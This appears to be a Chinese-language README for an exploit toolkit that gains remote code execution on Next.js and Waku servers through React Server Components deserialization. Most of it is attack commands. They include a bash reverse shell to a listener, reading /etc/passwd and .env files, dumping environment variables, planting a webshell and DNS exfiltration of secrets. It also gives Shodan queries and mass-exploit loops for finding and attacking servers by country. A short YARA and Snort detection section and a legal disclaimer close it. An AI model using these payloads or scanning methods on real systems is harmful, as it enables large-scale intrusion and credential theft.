攻击者 → 恶意 RSC 载荷 → 目标服务器
                             ↓
                  不安全反序列化
                             ↓
                  原型链访问
                             ↓
                   Function 构造函数
                             ↓
                   ⚠️ 实现 RCE ⚠️

git clone https://github.com/yourusername/rsc-rce-exploit.git
cd rsc-rce-exploit

npm install
# 或
yarn install

# 安装 Shodan CLI
pip install shodan

# 使用你的 API 密钥初始化
shodan init YOUR_API_KEY

node rsc-rce-exploit.js --target http://vulnerable-target.com --payload console

# 启动监听器
nc -lvnp 4444

# 执行利用
node rsc-rce-exploit.js \
  --target http://vulnerable-target.com \
  --payload reverseShell \
  --lhost 10.10.14.5 \
  --lport 4444

node rsc-rce-exploit.js \
  --target http://vulnerable-target.com \
  --payload execCommand \
  --command "whoami"

node rsc-rce-exploit.js [选项]

node rsc-rce-exploit.js --list

📋 可用载荷：

  console              - 基础 PoC - 控制台输出
    代码: console.log(7*7+1)

  reverseShell         - 反弹 Shell（bash）
    代码: require('child_process').exec('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')

  readFile             - 读取 /etc/passwd
    代码: console.log(require('fs').readFileSync('/etc/passwd','utf8'))

  envDump              - 导出环境变量
    代码: console.log(JSON.stringify(process.env,null,2))

  execCommand          - 执行系统命令
    代码: console.log(require('child_process').execSync('COMMAND').toString())

  webshell             - 写入 Webshell 到 /tmp
    代码: require('fs').writeFileSync('/tmp/shell.js','...')

  exfilPackage         - 读取 package.json
    代码: console.log(require('fs').readFileSync('./package.json','utf8'))

  dnsExfil             - DNS 外带数据
    代码: require('dns').resolve4(Buffer.from(process.env.SECRET||'nosecret')...)

node rsc-rce-exploit.js \
  --target http://target.com \
  --custom "require('fs').readdirSync('.').forEach(f=>console.log(f))"

# 基础 Next.js
http.component:"Next.js"

# 带 RSC 的 Next.js
http.html:"__next" http.html:"RSC"

# Next.js 开发模式（更容易受攻击）
http.html:"__NEXT_DATA__" http.html:"development"

# 自托管 Next.js（不在 Vercel 上）
http.component:"Next.js" -org:"Vercel"

# 按地理位置目标（法国）
http.component:"Next.js" country:FR

# 渗透测试终极组合
http.component:"Next.js" http.status:200 country:FR -org:"Vercel" port:3000,8080

# Waku 框架
http.html:"waku" http.html:"RSC"

# Waku RSC 端点
http.path:"/RSC/"

# 扫描并自动测试
./shodan-scanner.sh "http.component:\"Next.js\" country:FR" 100

# 搭配自定义载荷
./shodan-scanner.sh "http.component:\"Next.js\"" 50 envDump

# 1. 搜索 Shodan
shodan search 'http.component:"Next.js" country:FR' \
  --fields ip_str,port,org,hostnames \
  --limit 100 > targets.txt

# 2. 测试每个目标
while read -r line; do
    ip=$(echo $line | awk '{print $1}')
    port=$(echo $line | awk '{print $2}')
    echo "[*] Testing http://$ip:$port"
    node rsc-rce-exploit.js \
      --target "http://$ip:$port" \
      --payload console
done < targets.txt

# 从文件读取
node mass-exploit.js --file targets.txt --payload console --threads 10

# 从 Shodan 读取
node mass-exploit.js --shodan "http.component:\"Next.js\"" --limit 50 --payload envDump

# 保存结果
node mass-exploit.js --file targets.txt --payload console --output results.json

# .github/workflows/security-test.yml
name: RSC 安全测试
on: [push]
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      - run: npm install
      - run: node rsc-rce-exploit.js --target http://staging.example.com --payload console

node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --payload console

╔═══════════════════════════════════════════════════════════╗
║           RSC RCE 漏洞利用工具 - 增强版                      ║
║         React 服务端组件代码执行                             ║
╚═══════════════════════════════════════════════════════════╝

[*] 开始利用...
[*] 定位 Next.js RSC 端点...
[*] URL: https://vulnerable.example.com
[*] 载荷: console.log(7*7+1)...
[+] 响应状态: 200
[+] 响应体:
50
[*] 利用完成！

node rsc-rce-exploit.js \
  --target https://api.target.com \
  --payload envDump

# 终端 1：启动监听器
nc -lvnp 4444

# 终端 2：执行利用
node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --payload reverseShell \
  --lhost 10.10.14.5 \
  --lport 4444

node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --payload webshell

# 访问 Web Shell
curl "http://vulnerable.example.com:9999/cmd?c=whoami"

# 设置 Burp Collaborator 或你自己的 DNS 服务器
node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --custom "require('dns').resolve4('$(whoami).your-burp.com',()=>{})"

node rsc-rce-exploit.js \
  --target https://waku-app.example.com \
  --framework waku \
  --endpoint /RSC/custom.txt \
  --payload execCommand \
  --command "id"

# 读取敏感文件
node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --custom "console.log(require('fs').readFileSync('.env','utf8'))"

rule RSC_RCE_Exploit {
    strings:
        $s1 = "constructor:constructor"
        $s2 = "_prefix"
        $s3 = "$@"
        $s4 = "resolved_model"
    condition:
        3 of them
}

alert tcp any any -> any any (msg:"RSC RCE 尝试"; content:"next-action"; http_header; content:"constructor:constructor"; http_client_body; sid:1000001;)

⚠️ 法律免责声明 ⚠️

本工具包仅供授权的安全测试和研究使用。

使用本软件即表示您同意：

1. 仅测试您拥有或具有明确书面权限的系统
2. 遵守所有适用的地方、州、国家和国际法律
3. 不得将此工具用于恶意目的或非法活动
4. 对自己的行为承担全部责任

作者和贡献者：
- 不对因使用本工具造成的任何误用或损害负责
- 不鼓励或纵容非法活动
- 按“现状”提供本工具，不附带任何形式的担保

未经授权访问计算机系统是违法的。

违规者将受到法律最严厉的起诉，包括但不限于：
- 计算机欺诈和滥用法（CFAA）- 美国
- 计算机滥用法 - 英国
- 欧洲网络犯罪公约
- 以及您所在司法管辖区的其他适用法律

使用风险自负。

MIT 许可证

版权所有 (c) 2024 RSC RCE 漏洞利用工具贡献者

特此免费授予任何获得本软件副本及相关文档文件（“软件”）的人不受限制地处理本软件的权利，包括但不限于使用、复制、修改、合并、发布、分发、再许可和/或出售软件副本的权利，并允许被提供软件的人这样做，但须满足以下条件：

上述版权声明和本许可声明应包含在软件的所有副本或实质性部分中。

本软件按“现状”提供，不附带任何明示或暗示的担保，包括但不限于适销性、特定用途适用性和非侵权性的担保。在任何情况下，作者或版权持有人均不对因软件或软件的使用或其他处理引起的或与之相关的任何索赔、损害赔偿或其他责任负责，无论是合同行为、侵权行为还是其他行为。